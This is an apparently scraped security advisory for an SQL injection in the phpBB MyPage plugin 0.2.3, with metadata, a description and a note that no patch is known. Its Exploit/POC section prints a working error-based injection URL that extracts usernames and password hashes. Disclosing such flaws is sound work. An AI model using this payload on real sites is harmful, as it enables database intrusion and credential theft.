phpBB MyPage Plugin 'mypage.php' SQL Injection Vulnerability
BID:50951
Info
phpBB MyPage Plugin 'mypage.php' SQL Injection Vulnerability
| Bugtraq ID: | 50951 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 07 2011 12:00AM |
| Updated: | Dec 07 2011 12:00AM |
| Credit: | CrazyMouse |
| Vulnerable: |
phpBB Group MyPage 0.2.3 |
| Not Vulnerable: | |
Discussion
phpBB MyPage Plugin 'mypage.php' SQL Injection Vulnerability
MyPage plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MyPage 0.2.3 and prior versions are vulnerable.
MyPage plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MyPage 0.2.3 and prior versions are vulnerable.
Exploit / POC
phpBB MyPage Plugin 'mypage.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following URIs are available:
http://www.example.com/forum/mypage.php?id= (SQL)
http://www.example.com/forum/mypage.php?id=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2C0x27%2Cphpbb_users.user_id%2C0x5e%2Cphpbb_users.user_type%2C0x5e%2Cphpbb_users.group_id%2C0x5e%2Cphpbb_users.username%2C0x5e%2Cphpbb_users.user_password%2C0x27%2C0x7e%29+from+%60forum_domperm%60.phpbb_users+limit+5%2C1%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271
Attackers can use a browser to exploit this issue.
The following URIs are available:
http://www.example.com/forum/mypage.php?id= (SQL)
http://www.example.com/forum/mypage.php?id=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2C0x27%2Cphpbb_users.user_id%2C0x5e%2Cphpbb_users.user_type%2C0x5e%2Cphpbb_users.group_id%2C0x5e%2Cphpbb_users.username%2C0x5e%2Cphpbb_users.user_password%2C0x27%2C0x7e%29+from+%60forum_domperm%60.phpbb_users+limit+5%2C1%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271
Solution / Fix
phpBB MyPage Plugin 'mypage.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].